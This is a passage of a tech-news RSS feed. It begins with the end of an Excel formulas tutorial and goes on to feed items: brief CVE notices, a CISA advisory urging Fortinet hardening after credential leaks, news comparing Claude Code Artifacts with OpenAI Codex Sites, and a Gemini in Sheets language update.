<p>What if you want to apply multiple criteria to your data, such as calculating total sales for books in the East region, or counting the number of sales over $100 in the West region? Excel can do that too, via functions called SUMIFS and COUNTIFS. These functions use more complex syntax than SUMIF and COUNTIF. For more details, use cases, and best practices for all four of these functions, see Microsoft’s <a href="https://support.microsoft.com/en-us/office/sumif-function-169b8c99-c05c-4483-a712-1697a653039b" rel="nofollow noopener" target="_blank">SUMIF</a>, <a href="https://support.microsoft.com/en-us/office/sumifs-function-c9e748f5-7ea7-455d-9406-611cebce642b" rel="nofollow noopener" target="_blank">SUMIFS</a>, <a href="https://support.microsoft.com/en-us/office/countif-function-e0de10c6-f885-4e71-abb4-1f464816df34" rel="nofollow noopener" target="_blank">COUNTIF</a>, and <a href="https://support.microsoft.com/en-us/office/countifs-function-dda3dc6e-f74e-4aee-88bc-aa8c2a866842" rel="nofollow noopener" target="_blank">COUNTIFS</a> support pages.</p>



<h2 class="wp-block-heading">4. The CONCAT function</h2>



<p>This function is useful for piecing together text from different cells into one complete string. For instance, maybe you have a worksheet with different columns for people’s first and last names, but you want to put first and last names together. Other common use cases are completing an address, reference number, file path, or URL. The syntax is as follows:</p>



<p><em>=CONCAT(text1,text2,text3,…)</em></p>



<p>In this example we will use CONCAT to combine a list of first names and last names into a full name with a space in between. To do so we simply place the cursor in cell C2, type <strong>=CON</strong> and select <em>CONCAT</em> from the list of options that appears. Next, select the cell that contains the first name (A2) and add a comma, a blank space surrounded by quotation marks, and another comma. Then add the last name by selecting the adjacent cell (B2) and hit Enter. Here’s the full formula:</p>



<p><em>=CONCAT(A2,” “,B2)</em></p>



<p>Next, click and drag the bottom right of cell C2 to autofill the formula in all the other rows.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>The CONCAT function combined the values from column A with those from column B.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>For more details and examples, see Microsoft’s <a href="https://support.microsoft.com/en-us/office/concat-function-9b1a9a3f-94ff-41af-9736-694cbd6b4ca2" rel="nofollow noopener" target="_blank">CONCAT function</a> support page.</p>



<h2 class="wp-block-heading">5. The VLOOKUP function</h2>



<p>This is one of the most commonly used functions in Excel and a valuable data analysis tool. VLOOKUP lets you look up a value in a table and return information from other columns related to that value. It’s very useful for combining data from different lists or comparing two lists to find matching items. To use this function, you need to provide three to four pieces of information:</p>



<ol class="wp-block-list">
<li>The value you want to look for. This is known as the <em>lookup value</em>.</li>



<li>The range of cells to look in. This is known as the <em>table array</em>.</li>



<li>The column that contains the information you want to return, called the <em>column index number</em>.</li>



<li>Optionally, the type of lookup you want to perform: TRUE or FALSE. This is known as the <em>range lookup</em>. FALSE means you want an exact match for the lookup value, while picking TRUE returns the best approximate match. If you don’t specify a range lookup, VLOOKUP defaults to TRUE.</li>
</ol>



<p>The syntax is as follows:</p>



<p><em>=VLOOKUP(lookup_value,table_array,column_index_number,[range_lookup])</em></p>



<p>The lookup value must be in the first column of cells you specify in the table array. The leftmost column in the table array has a column index number of 1, with subsequent columns numbered 2, 3, and so on.</p>



<p>In this example, we’ll look up what region our employees work in. To do so, we first need to specify the value that we are going to search for: the employee name Mike (cell A2). Next, we need to highlight the entire cell range (table array) that we want to look in: cells F2:G8.</p>



<p>Then we specify which column holds the information that we want. Rather than picking the column itself, we count from left to right within the table array. Since the column that contains the region is the second from the left, type in <strong>2</strong>.</p>



<p>Lastly, we enter the TRUE (best approximate match) or FALSE (exact match) option. TRUE is typically only used with numbers or when you aren’t sure if the value you want is in the table. Since we know the value we want is in the table, we will pick <strong>FALSE</strong>. Generally, FALSE is the better option, as it returns more accurate results.</p>



<p>This is the full formula:</p>



<p><em>=VLOOKUP(A2,F2:G8,2,FALSE)</em></p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> loading="lazy" width="400px"&gt;<figcaption class="wp-element-caption"><p>Use VLOOKUP to find values linked to other values in large data sets.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>This is an oversimplified example using a small data set, but when you need to search through a spreadsheet with thousands (or tens of thousands) of cells, VLOOKUP is a huge time-saver and reduces the possibility of errors. For more details and examples, see Microsoft’s <a href="https://support.microsoft.com/en-us/office/vlookup-function-0bbc8083-26fe-4963-8ab8-93a18ad188a1" rel="noopener nofollow" target="_blank">VLOOKUP function</a> support page.</p>



<h2 class="wp-block-heading">Using Copilot to create Excel formulas</h2>



<p>Remembering all these different formulas and functions can be difficult, so another good approach for those who have access to Copilot in Excel (see details at the top of this story) is to use the AI tool to dynamically create formulas that meet your needs. Using Copilot, you can describe what you want the formula to do  and have the AI generate the syntax for you. In this section we’ll demonstrate with two sample data sets.</p>



<p>To access Copilot, click the <em>Copilot</em> icon on your ribbon toolbar or at the bottom right of your screen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full is-resized"> width="979" height="511" sizes="auto, (max-width: 979px) 100vw, 979px"&gt;<figcaption class="wp-element-caption"><p>To invoke Copilot, click its icon, which you might find in the ribbon toolbar up top or floating at the bottom right of your Excel window.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>The Copilot sidebar opens along the right side of your spreadsheet. Type in a prompt describing the formula you want created — in this example, a simple formula that adds up all the sales values in the data set. Be sure to instruct Copilot where to place the formula:</p>



<p><em>Create a formula in B7 that sums all of the sales</em></p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/excel-formulas-25-copilot-simple-sum-prompt.png?w=1024" alt="screenshot of excel spreadsheet with sum prompt in copilot sidebar on right" class="wp-image-4180787" width="1024" height="472" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Describe the formula you want Copilot to create.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Click the submit arrow in the chat window, and Copilot will create and insert the formula to give you the result you want.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/excel-formulas-26-copilot-sum-result.png?w=1024" alt="screenshot of excel spreadsheet with sum result at bottom of data column" class="wp-image-4180783" width="1024" height="546" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has inserted the correct Excel formula for the sum operation, with the result appearing in cell B7.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>That was a simple one. Now try a more advanced example working from a more complex data set, as shown in the screenshot below.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/excel-formulas-27-copilot-complex-data-set.png?w=1024" alt="screenshot of excel spreadsheet with 6 rows and 6 columns with disparate value types" class="wp-image-4180785" width="1024" height="503" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A more complex data set for our second example.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>Try the following prompt:</p>



<p><em>Create a formula in G2 that calculates total revenue per unit while accounting for the discount on each purchase. Then fill the formula down for all rows and create a summary table showing total revenue by Region.</em></p>



<p>Click the submit arrow, and it should create something like this:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/excel-formulas-28-copilot-complex-prompt-and-results.png?w=1024" alt="screenshot of excel spreadsheet with new column of calculated values and a new summary table added - copilot prompt and explanation are in right sidebar" class="wp-image-4180786" width="1024" height="561" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot creates the requested formula and fills in the results.</p>
</figcaption></figure><p class="imageCredit">Shimon Brathwaite / Foundry</p></div>



<p>(There’s a lot more you can have Copilot can do in Excel besides creating formulas. See our story “<a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a>.”)</p>



<p><strong>Tip:</strong> It’s not required, but it can be helpful to <a href="https://www.computerworld.com/article/2149905/excel-basics-get-started-with-tables.html">format your spreadsheet as a table</a> when working with Copilot. This helps define more clearly the exact cells for Copilot to use when it creates formulas or takes other actions on your data.</p>



<h2 class="wp-block-heading">You’re just getting started</h2>



<p>In this story you’ve seen how powerful formulas and functions can be in Excel — and we’ve only the scratched the surface of what they can do. Once you get comfortable using them, you can explore some of the myriad prebuilt functions Excel offers and learn how to build more complex formulas (including nesting functions). That’s all beyond the scope of this article, but a great place to start is Microsoft’s “<a href="https://support.microsoft.com/en-us/office/overview-of-formulas-in-excel-ecfdc708-9162-49e8-b993-c311f47ca173" target="_blank" rel="noreferrer noopener">Overview of formulas in Excel</a>” support page, which includes links to several helpful tutorials.</p>



<p>For those who have access to it in Excel, experimenting with Copilot is another great way to learn. You can review the steps it took and the formulas it created to get a better understanding of how formulas work and what they’re capable of.</p>



<p><em>This story was originally published in May 2023 and updated in June 2026.</em></p>



<h4 class="wp-block-heading"><strong>More Excel tips and how-tos:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/2149905/excel-basics-get-started-with-tables.html">Excel basics: Get started with tables</a></li>



<li><a href="https://www.computerworld.com/article/1656594/excel-for-office-365-cheat-sheet.html">Excel for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



<li><a href="https://www.computerworld.com/article/2075645/how-to-use-pivottables-pivotcharts-excel.html">How to use PivotTables and PivotCharts in Excel</a></li>



<li><a href="https://www.computerworld.com/article/3557753/excel-basics-get-started-with-charts-and-sparklines.html">Excel basics: Get started with charts and sparklines</a></li>



<li><a href="https://www.computerworld.com/article/1633636/how-and-why-to-use-conditional-formatting-in-excel.html">How (and why) to use conditional formatting in Excel</a></li>



<li><a href="http://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-56021 | Webmin Director prior 2.641 incorrect regex (WID-SEC-2026-2014)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in Webmin Director. The affected element is an unknown function. The manipulation leads to incorrect regular expression.

This vulnerability is uniquely identified as CVE-2026-56021. The attack is possible to be carried out remotely. No expl...]]></description>
<link>https://tsecurity.de/de/3610168/sicherheitsluecken/cve-2026-56021-webmin-director-prior-2641-incorrect-regex-wid-sec-2026-2014/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3610168/sicherheitsluecken/cve-2026-56021-webmin-director-prior-2641-incorrect-regex-wid-sec-2026-2014/</guid>
<pubDate>Fri, 19 Jun 2026 13:10:05 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/webmin:director">Webmin Director</a>. The affected element is an unknown function. The manipulation leads to incorrect regular expression.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-56021">CVE-2026-56021</a>. The attack is possible to be carried out remotely. No exploit exists.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2021-3803 | nth-check incorrect regex (WID-SEC-2026-1955)]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in nth-check. This impacts an unknown function. This manipulation causes incorrect regular expression.

This vulnerability is handled as CVE-2021-3803. The attack can be initiated remotely. There is not any exploit available.

To fix this issue...]]></description>
<link>https://tsecurity.de/de/3609723/sicherheitsluecken/cve-2021-3803-nth-check-incorrect-regex-wid-sec-2026-1955/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609723/sicherheitsluecken/cve-2021-3803-nth-check-incorrect-regex-wid-sec-2026-1955/</guid>
<pubDate>Fri, 19 Jun 2026 10:24:18 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/nth-check">nth-check</a>. This impacts an unknown function. This manipulation causes incorrect regular expression.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2021-3803">CVE-2021-3803</a>. The attack can be initiated remotely. There is not any exploit available.

To fix this issue, it is recommended to deploy a patch.]]></content:encoded>
</item>
<item>
<title><![CDATA[ISA VDA 6.0.3 (part 2) — Information Security Sheet: IS Policies and Organization]]></title>
<description><![CDATA[This is the part 2 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1).   ISA VDA 6.0.3 (part 2) — Information Security Sheet: IS Policies and Organization  …
Read more →
The post ISA VDA 6.0.3 (part 2) — Information Security Sheet: IS...]]></description>
<link>https://tsecurity.de/de/3609708/it-security-nachrichten/isa-vda-603-part-2-information-security-sheet-is-policies-and-organization/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609708/it-security-nachrichten/isa-vda-603-part-2-information-security-sheet-is-policies-and-organization/</guid>
<pubDate>Fri, 19 Jun 2026 10:23:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This is the part 2 of the series about the TISAX label: TISAX getting started: A Deep Dive into the ISA Assessment Workbook (part 1).   ISA VDA 6.0.3 (part 2) — Information Security Sheet: IS Policies and Organization  …</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-2-information-security-sheet-is-policies-and-organization/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/isa-vda-6-0-3-part-2-information-security-sheet-is-policies-and-organization/">ISA VDA 6.0.3 (part 2) — Information Security Sheet: IS Policies and Organization</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic's Claude Code Artifacts update brings live, shared dashboards and interactive workspaces to enterprises]]></title>
<description><![CDATA[Anthropic announced a potentially game-changing new feature for users of Claude Code on the Claude Team and Enterprise subscription plans: Artifacts. This update turns a Claude Code session's work into a live, interactive, and shareable, custom HTML webpage, allowing a Claude Code user to plug in...]]></description>
<link>https://tsecurity.de/de/3609186/it-nachrichten/anthropics-claude-code-artifacts-update-brings-live-shared-dashboards-and-interactive-workspaces-to-enterprises/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3609186/it-nachrichten/anthropics-claude-code-artifacts-update-brings-live-shared-dashboards-and-interactive-workspaces-to-enterprises/</guid>
<pubDate>Fri, 19 Jun 2026 02:47:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Anthropic announced a potentially game-changing new feature for users of Claude Code on the Claude Team and Enterprise subscription plans: <a href="https://claude.com/blog/artifacts-in-claude-code">Artifacts</a>. </p><p>This update turns a Claude Code session's work into a live, interactive, and shareable, custom HTML webpage, allowing a Claude Code user to plug in live code, multiple data sources, and have it surface on an interactive URL that they can send to other teammates — be it a dashboard, an app design, or some other product meant for internal usage. </p><div></div><p>These teammates and the original user can watch the webpage it update in real-time as Claude Code goes about its work autonomously or under the user's guidance, and as the connected data sources and codebases change. </p><p>While Anthropic first introduced Artifacts to its consumer web chatbot in the summer of 2024—where it evolved from a manual toggle feature to a generally available tool for publishing code snippets and games to the web—integrating this capability directly into the Claude Code command-line interface (CLI) and desktop app bridges the gap between deep, back-end engineering and the non-technical stakeholders who need to understand it.</p><h2><b>Product and Technology: The End of the Status Update</b></h2><p>At its core, Claude Code Artifacts acts as a dynamic translation layer. Built directly from the unbroken context of a user’s session, the agent uses the local repository codebase, connected monitoring tools, and conversational reasoning to spin up specialized web pages. </p><p>Engineers no longer need to wire up external data sources or stand up temporary infrastructure; the AI builds the UI from what already exists.</p><p>Crucially, these web pages are not static exports. As the AI works through a terminal session, the open webpage refreshes in-place, updating charts and text instantly at the exact same URL. Every update publishes a new version history, allowing teammates to roll back or track the agent's progress securely on desktop or mobile.</p><h2><b>The Battle of Live, Interactive, Shared AI Work Surfaces: Anthropic's Claude Code Artifacts vs. OpenAI's Codex Sites</b></h2><p>Anthropic's update comes more than <a href="https://venturebeat.com/orchestration/openais-codex-update-lets-agents-build-interactive-enterprise-workspaces-via-sites-and-role-specific-plugins">two weeks after OpenAI released a massive update to its own Codex platform</a>, introducing a strikingly similar enterprise hosting feature called "Sites". </p><p>This tit-for-tat product cadence highlights a rapidly escalating battle over the enterprise workspace across functions and beyond developers themselves, though there are some important technical and philosophical distinctions worth pointing out for enterprises considering either.  </p><p>As revealed in their respective developer documentation webpages, <a href="https://developers.openai.com/codex/sites">OpenAI</a> is building a platform-as-a-service; <a href="https://code.claude.com/docs/en/artifacts#share-session-output-as-artifacts">Anthropic</a> is building a stateless canvas.</p><p>OpenAI’s Sites is designed to generate durable, full-stack web applications. According to the platform's documentation, Codex Sites hosts projects that output as Cloudflare Worker-compatible ES modules. </p><p>Crucially, Sites supports persistent backend infrastructure: agents can automatically wire up "D1" relational databases for structured data (like user progress or saved records) and "R2" object storage for file uploads. An OpenAI Site can support public sign-ins, integrate with external identity providers, and allows for highly specific access controls tailored to specific workspace groups. </p><p>It utilizes a two-stage publishing process—saving a reviewable candidate linked to a Git commit before officially deploying to production. In short, it is a production environment designed to replace functional internal SaaS tools.</p><p>Anthropic’s Claude Code Artifacts, by contrast, deliberately avoids the backend. The newly released documentation is blunt about its limitations: "An artifact is a capture of work, not an application". </p><p>Each Artifact is a single, self-contained HTML page capped at a rendered size of 16 MiB. To guarantee organizational security, Claude wraps the published file in a strict Content Security Policy (CSP) that blocks all external network requests. T</p><p>his means the page cannot load external scripts, fonts, or stylesheets, and <code>fetch</code>, XHR, and WebSocket calls are completely blocked. All CSS and JavaScript must be inlined, and images must be embedded as data URIs. Artifacts cannot store form input, call an API at view time, or serve multiple routes.</p><p>This technical limitation is actually Anthropic's deliberate philosophical position: While OpenAI wants to spin up persistent software portals for the whole company, Anthropic is keeping Claude Code firmly anchored in ephemeral, highly secure technical workflows. Claude Artifacts are <i>not</i> meant to be software; they are meant to replace whiteboard diagrams, manual bug walkthroughs, and status reports with secure, self-updating visual tools that never leak live data outside the corporate boundary.</p><h2><b>Licensing and Enterprise Security: Keeping the Codebase Private</b></h2><p>Because these agents sit at the nexus of proprietary company data and live codebases, licensing and access controls are a primary concern. </p><p>Both Anthropic and OpenAI have opted for closed, proprietary licensing models for these new visual workspaces. For end users and developers, the distinction is critical. Unlike permissive open-source software (such as MIT or Apache 2.0) or strict copyleft licenses (like GPL)—which grant developers the legal freedom to inspect, modify, and self-host the underlying code—neither Claude Code Artifacts nor Codex Sites can be independently forked or hosted. </p><p>Enterprise clients do not maintain code-level ownership over Anthropic's rendering engine or Codex’s integration nodes; both operate strictly within their <i>respective creators' managed infrastructures.</i></p><p>To make this vendor-managed approach palatable to enterprise compliance teams, both companies have heavily prioritized organizational security. Anthropic ensures every artifact is private to its author by default and strictly cannot be made public to the broader internet. When an engineer chooses to share a link, it is viewable exclusively by authenticated members of their specific organization. System administrators retain ultimate authority, managing access through org-level toggles, role-based scoping, and explicit retention policies, while maintaining oversight through a centralized compliance API.</p><p>OpenAI takes a similarly gated approach with Codex Sites, rolling the feature out primarily for ChatGPT Business and Enterprise workspaces. Like Anthropic, OpenAI relies on system administrators to manage deployment through centralized workspace settings, requiring an admin to explicitly enable Sites via role-based access control (RBAC) for Enterprise tiers.</p><p>However, because Codex Sites functions more like a hosted web application, its access controls are slightly more granular. When an engineer prepares to share a deployed URL, they can apply specific access modes: restricting the site to just themselves and workspace admins, opening it to all active users in the workspace, or limiting access to custom user groups. </p><p>Furthermore, to prevent sensitive data leaks, OpenAI provides a dedicated Sites panel to manage runtime environment variables and secrets securely, ensuring those keys do not have to be committed to local source files.</p><h2><b>Reactions and Reflections</b></h2><p>The introduction of visual, self-updating UI layers to command-line agents is fundamentally altering how developers view their own workflows. As AI handles the raw syntax and automates the reporting, the friction of communicating technical work to stakeholders is vanishing.</p><p>Boris Cherny, the Lead and creator of Claude Code, highlighted the sheer utility of the update in a <a href="https://x.com/bcherny/status/2067700226669060207?s=20">post on X earlier today</a>: </p><p>"I've been using Artifacts in Claude Code for everything: visual explanations of tricky code, system diagrams, quick previews of a few animation options, data analyses and dashboards I share with the team," Cherny wrote. "They are a game changer for how I work with Claude. Can't wait to hear what you think!"</p><p>This sentiment is practically demonstrated in Anthropic’s launch materials. In one scenario, an engineer prompts Claude Code to investigate user drop-offs since a previous software release. </p><p>In a matter of seconds, the agent executes an SQL read, builds an interactive drop-off funnel dashboard, and diagnoses that "Pro accounts stall at the export sheet". The AI then proposes UI fixes, updates the live charts as the code is refactored, and generates a secure link that a manager can instantly open via mobile.</p><p>By turning the terminal into a live, collaborative canvas, Anthropic is proving that the most valuable output of an AI coding assistant isn't just the code itself—it is the context, the reasoning, and the ability to share that work instantly.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CISA Urges Hardening Fortinet Devices After Reports of Credential Exposure]]></title>
<description><![CDATA[CISA is aware of global reports that malicious cyber actors have targeted internet-accessible Fortinet devices across government and private sector organizations using compromised credentials. This activity, referred to as FortiBleed, involves the exposure of leaked credentials associated with ap...]]></description>
<link>https://tsecurity.de/de/3608982/it-security-nachrichten/cisa-urges-hardening-fortinet-devices-after-reports-of-credential-exposure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608982/it-security-nachrichten/cisa-urges-hardening-fortinet-devices-after-reports-of-credential-exposure/</guid>
<pubDate>Thu, 18 Jun 2026 23:37:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CISA is aware of global reports that malicious cyber actors have targeted internet-accessible Fortinet devices across government and private sector organizations using compromised credentials. This activity, referred to as FortiBleed, involves the exposure of leaked credentials associated with approximately 74,000 Fortinet devices, including firewalls and virtual private network (VPN) gateways.  </p>
<p>To defend against this malicious cyber activity, CISA urges impacted Fortinet customers with FortiGate appliances and associated secure sockets layer (SSL) VPN gateways to immediately:</p>
<ol>
<li><strong>Terminate sessions and reset credentials.</strong> Terminate all active SSL VPN and administrative sessions. Reset all Fortinet VPN and administrative passwords, especially on internet-facing systems, and enforce strong password policies.</li>
<li><strong>Ensure secure credential storage.</strong> Confirm your organization’s use of the Password-Based Key Derivation Function 2 (PBKDF2) algorithm to store administrator credentials and remove weaker legacy hashes per Fortinet’s guidance (see, <a href="https://community.fortinet.com/fortigate-3/technical-tip-enforcing-pbkdf2-as-hash-function-for-administrator-accounts-in-fortios-v7-2-11-and-later-220652" target="_blank">Fortinet's Technical Tip: Enforcing PBKDF2 as hash function for administrator accounts in FortiOS v7.2.11 and later</a>).  </li>
<li><strong>Review logs.</strong> Review firewall, VPN, authentication, and domain controller logs for lateral movement, unusual access, suspicious accounts, or unauthorized configuration changes.</li>
<li><strong>Enable phishing-resistant multifactor authentication (MFA).</strong> <a href="https://www.cisa.gov/sites/default/files/publications/fact-sheet-implementing-phishing-resistant-mfa-508c.pdf">Require phishing-resistant MFA</a> on all remote access and administrative accounts and ensure it is enforced on all external gateways and administrative interfaces.</li>
<li><strong>Reduce the attack surface and lock down management access.</strong> Ensure the administration of your firewall is inaccessible from the public internet; restrict Fortinet management interfaces to trusted internal networks; and remove or disable any unauthorized or unnecessary accounts.</li>
</ol>
<p>See the following resources to determine your organization’s potential impact and find additional guidance on the credentials compromised:</p>
<ul>
<li>Tech Times: <a href="https://www.techtimes.com/articles/318599/20260618/fortinet-fortigate-credential-leak-hits-73932-firewalls-half-internet-facing-fleet.htm" target="_blank">Fortinet FortiGate Credential Leak Hits 73,932 Firewalls: Half the Internet-Facing Fleet</a>  </li>
<li>SOCRadar: <a href="https://socradar.io/blog/fortibleed-fortinet-firewalls-compromised/" target="_blank">FortiBleed: The Compromise of 80,000+ Fortinet Firewalls</a></li>
<li>Hudson Rock: <a href="https://www.hudsonrock.com/blog/fortibleed-75000-fortinet-firewalls-compromised-global-enterprises-exposed-claim-your-ethical-disclosure" target="_blank">FortiBleed: 75,000 Fortinet Firewalls Compromised: Global Enterprises Exposed – Claim Your Ethical Disclosure</a></li>
<li>Arctic Wolf: <a href="https://arcticwolf.com/resources/blog/active-fortibleed-campaign-impacting-fortinet-devices-across-194-countries/" target="_blank">Active FortiBleed Campaign Impacting Fortinet Devices Across 194 Countries</a></li>
<li>Fortinet: <a href="https://www.fortinet.com/blog/industry-trends/attacks-at-the-speed-of-ai" target="_blank">Attacks at the Speed of AI</a></li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA does not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Can’t buy the DJI Pocket 4P? This 'remarkably similar' dual-lens camera will rescue US creators soon]]></title>
<description><![CDATA[Xtra has just dropped a teaser reel confirming its Muse 2 Pro camera — with a spec sheet that will read very familiarly to anyone following the DJI Osmo Pocket 4P. And unlike DJI's dual-lens vlogging camera, it's heading to the US.]]></description>
<link>https://tsecurity.de/de/3608579/it-nachrichten/cant-buy-the-dji-pocket-4p-this-remarkably-similar-dual-lens-camera-will-rescue-us-creators-soon/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608579/it-nachrichten/cant-buy-the-dji-pocket-4p-this-remarkably-similar-dual-lens-camera-will-rescue-us-creators-soon/</guid>
<pubDate>Thu, 18 Jun 2026 19:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Xtra has just dropped a teaser reel confirming its Muse 2 Pro camera — with a spec sheet that will read very familiarly to anyone following the DJI Osmo Pocket 4P. And unlike DJI's dual-lens vlogging camera, it's heading to the US.]]></content:encoded>
</item>
<item>
<title><![CDATA[Expanded language support for building and editing spreadsheets with Gemini]]></title>
<description><![CDATA[Earlier this year, we introduced new Gemini in Sheets capabilities that allow you to build and edit entire spreadsheets using simple natural language. We’re now expanding support for these features to 28 additional languages, enabling users who speak Spanish, Portuguese, Japanese, Korean, Italian...]]></description>
<link>https://tsecurity.de/de/3608399/web-tipps/expanded-language-support-for-building-and-editing-spreadsheets-with-gemini/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3608399/web-tipps/expanded-language-support-for-building-and-editing-spreadsheets-with-gemini/</guid>
<pubDate>Thu, 18 Jun 2026 18:25:50 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Earlier this year, we <a href="https://workspaceupdates.googleblog.com/2026/04/build-and-edit-complex-spreadsheets-with-Gemini-in-Google-Sheets.html" target="_blank">introduced new Gemini in Sheets capabilities</a> that allow you to build and edit entire spreadsheets using simple natural language. We’re now expanding support for these features to 28 additional languages, enabling users who speak Spanish, Portuguese, Japanese, Korean, Italian, French, German, Chinese Simplified, Dutch, Hebrew, Polish, Turkish, Czech, Indonesian, Malay, Swedish, Danish, Norwegian, Arabic, Finnish, Vietnamese, Ukrainian, Greek, Thai, Romanian, Russian, Catalan, and Hungarian to collaborate natively with Gemini in their preferred language.<div><br></div><div>With this update, users can leverage the full functionality of Gemini to build and edit spreadsheets by issuing prompts in their native language. Whether users are updating budgets, building complex financial models, or conducting data analysis, Gemini leverages Sheets tools—such as tables, pivot tables, charts, and formulas—to execute tasks. This enables global teams to manage data more efficiently, automate workflow execution, and extract valuable cross-document insights without confronting language barriers.</div><div><br></div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiR-lB2p4tqCkm4M_dUsQVTSdxO_g5Bwr-bTy5AxYynLZLc6ooS81A3EkBpfA11KRiDk2e-aUB7xcdNp3WqeAv5tj9ZEtAoHbDwUPWVF8cY351r72yZi_P8MotEkPShJVBElydlm8wx6TqeH95FQZaf4PTI-YQ18VlcI5ASDl8Z92TCXZNkTdgf7VnqrC1/s1407/Sheets%20Gemini%20i18n.gif" imageanchor="1"><img alt="Gemini in Sheets UX in Spanish language" border="0" data-original-height="854" data-original-width="1407" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiR-lB2p4tqCkm4M_dUsQVTSdxO_g5Bwr-bTy5AxYynLZLc6ooS81A3EkBpfA11KRiDk2e-aUB7xcdNp3WqeAv5tj9ZEtAoHbDwUPWVF8cY351r72yZi_P8MotEkPShJVBElydlm8wx6TqeH95FQZaf4PTI-YQ18VlcI5ASDl8Z92TCXZNkTdgf7VnqrC1/s16000/Sheets%20Gemini%20i18n.gif"></a></div><div><br></div><h3>Getting started</h3><div><ul><li><b>Admins: </b>This feature is available by default if <a href="https://knowledge.workspace.google.com/admin/gemini/manage-access-to-gemini-features-in-workspace-services" target="_blank">Gemini for Workspace in Sheet</a>s is enabled. Note that enabling <a href="https://knowledge.workspace.google.com/p/wsi" target="_blank">Workspace Intelligenc</a>e expands the range of supported use cases.</li><li><b>End users: </b>You must have <a 